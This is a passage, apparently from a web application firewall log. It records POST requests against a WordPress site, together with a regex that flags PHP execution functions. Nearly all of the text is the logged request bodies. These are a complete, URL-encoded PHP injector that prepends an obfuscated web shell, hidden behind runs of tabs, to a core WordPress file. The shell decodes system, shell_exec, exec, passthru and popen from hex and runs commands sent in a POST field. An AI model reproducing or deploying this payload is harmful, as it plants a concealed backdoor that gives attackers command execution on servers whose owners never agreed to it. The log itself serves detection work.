5%2520.%2520%2524ptr13%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr14%2520.%2520%2524ptr1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%25279%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524ptr7%2529%253Bif%2528isset%2528%2524_POST%255B%2524token_parser_engine%255D%2529%2529%257B%2524token_parser_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524token_parser_engine%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524token_parser_engine%252C%2524descriptor_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524descriptor_record%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524sym_obj%253D%2524service_registry5%2528%2524token_parser_engine%252C%2522r%2522%2529%253Bif%2528%2524sym_obj%2529%257B%2524dat_property_set%253D%2524service_registry6%2528%2524sym_obj%2529%253B%2524service_registry7%2528%2524sym_obj%2529%253Bprint%2520%2524dat_property_set%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:45","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-community-events.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ptr1%2520%253D%2520%25277%2527%253B%2524ptr2%2520%253D%2520%25279%2527%253B%2524ptr3%2520%253D%2520%25273%2527%253B%2524ptr4%2520%253D%2520%25274%2527%253B%2524ptr5%2520%253D%2520%25276%2527%253B%2524ptr6%2520%253D%2520%2527c%2527%253B%2524ptr7%2520%253D%2520%25275%2527%253B%2524ptr8%2520%253D%2520%25278%2527%253B%2524ptr9%2520%253D%2520%25272%2527%253B%2524ptr10%2520%253D%2520%2527f%2527%253B%2524ptr11%2520%253D%2520%25270%2527%253B%2524ptr12%2520%253D%2520%2527e%2527%253B%2524ptr13%2520%253D%2520%2527b%2527%253B%2524ptr14%2520%253D%2520%25271%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr2%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%2524ptr5%2520.%2520%2524ptr6%2520.%2520%2524ptr7%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%25273%2527%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%2524ptr8%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr1%2520.%2520%25275%2527%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2524ptr12%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25275%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2527f%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr12%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%25277%2527%2520.%2520%2524ptr3%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524token_parser_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr13%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr14%2520.%2520%2524ptr1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%25279%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524ptr7%2529%253Bif%2528isset%2528%2524_POST%255B%2524token_parser_engine%255D%2529%2529%257B%2524token_parser_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524token_parser_engine%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524token_parser_engine%252C%2524descriptor_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524descriptor_record%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524sym_obj%253D%2524service_registry5%2528%2524token_parser_engine%252C%2522r%2522%2529%253Bif%2528%2524sym_obj%2529%257B%2524dat_property_set%253D%2524service_registry6%2528%2524sym_obj%2529%253B%2524service_registry7%2528%2524sym_obj%2529%253Bprint%2520%2524dat_property_set%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:9363\nsec-ch-ua-mobile:?0\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLyLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nbV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-community-events.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ptr1%2520%253D%2520%25277%2527%253B%2524ptr2%2520%253D%2520%25279%2527%253B%2524ptr3%2520%253D%2520%25273%2527%253B%2524ptr4%2520%253D%2520%25274%2527%253B%2524ptr5%2520%253D%2520%25276%2527%253B%2524ptr6%2520%253D%2520%2527c%2527%253B%2524ptr7%2520%253D%2520%25275%2527%253B%2524ptr8%2520%253D%2520%25278%2527%253B%2524ptr9%2520%253D%2520%25272%2527%253B%2524ptr10%2520%253D%2520%2527f%2527%253B%2524ptr11%2520%253D%2520%25270%2527%253B%2524ptr12%2520%253D%2520%2527e%2527%253B%2524ptr13%2520%253D%2520%2527b%2527%253B%2524ptr14%2520%253D%2520%25271%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr2%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%2524ptr5%2520.%2520%2524ptr6%2520.%2520%2524ptr7%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%25273%2527%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%2524ptr8%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr1%2520.%2520%25275%2527%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2524ptr12%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25275%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2527f%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr12%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%25277%2527%2520.%2520%2524ptr3%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524token_parser_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr13%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr14%2520.%2520%2524ptr1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%25279%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524ptr7%2529%253Bif%2528isset%2528%2524_POST%255B%2524token_parser_engine%255D%2529%2529%257B%2524token_parser_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524token_parser_engine%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524token_parser_engine%252C%2524descriptor_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524descriptor_record%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524sym_obj%253D%2524service_registry5%2528%2524token_parser_engine%252C%2522r%2522%2529%253Bif%2528%2524sym_obj%2529%257B%2524dat_property_set%253D%2524service_registry6%2528%2524sym_obj%2529%253B%2524service_registry7%2528%2524sym_obj%2529%253Bprint%2520%2524dat_property_set%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:48","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-community-events.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ptr1%2520%253D%2520%25277%2527%253B%2524ptr2%2520%253D%2520%25279%2527%253B%2524ptr3%2520%253D%2520%25273%2527%253B%2524ptr4%2520%253D%2520%25274%2527%253B%2524ptr5%2520%253D%2520%25276%2527%253B%2524ptr6%2520%253D%2520%2527c%2527%253B%2524ptr7%2520%253D%2520%25275%2527%253B%2524ptr8%2520%253D%2520%25278%2527%253B%2524ptr9%2520%253D%2520%25272%2527%253B%2524ptr10%2520%253D%2520%2527f%2527%253B%2524ptr11%2520%253D%2520%25270%2527%253B%2524ptr12%2520%253D%2520%2527e%2527%253B%2524ptr13%2520%253D%2520%2527b%2527%253B%2524ptr14%2520%253D%2520%25271%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr2%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%2524ptr5%2520.%2520%2524ptr6%2520.%2520%2524ptr7%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%25273%2527%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%2524ptr8%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr1%2520.%2520%25275%2527%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2524ptr12%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25275%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2527f%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr12%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%25277%2527%2520.%2520%2524ptr3%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524token_parser_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr13%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr14%2520.%2520%2524ptr1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%25279%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524ptr7%2529%253Bif%2528isset%2528%2524_POST%255B%2524token_parser_engine%255D%2529%2529%257B%2524token_parser_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524token_parser_engine%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524token_parser_engine%252C%2524descriptor_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524descriptor_record%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524sym_obj%253D%2524service_registry5%2528%2524token_parser_engine%252C%2522r%2522%2529%253Bif%2528%2524sym_obj%2529%257B%2524dat_property_set%253D%2524service_registry6%2528%2524sym_obj%2529%253B%2524service_registry7%2528%2524sym_obj%2529%253Bprin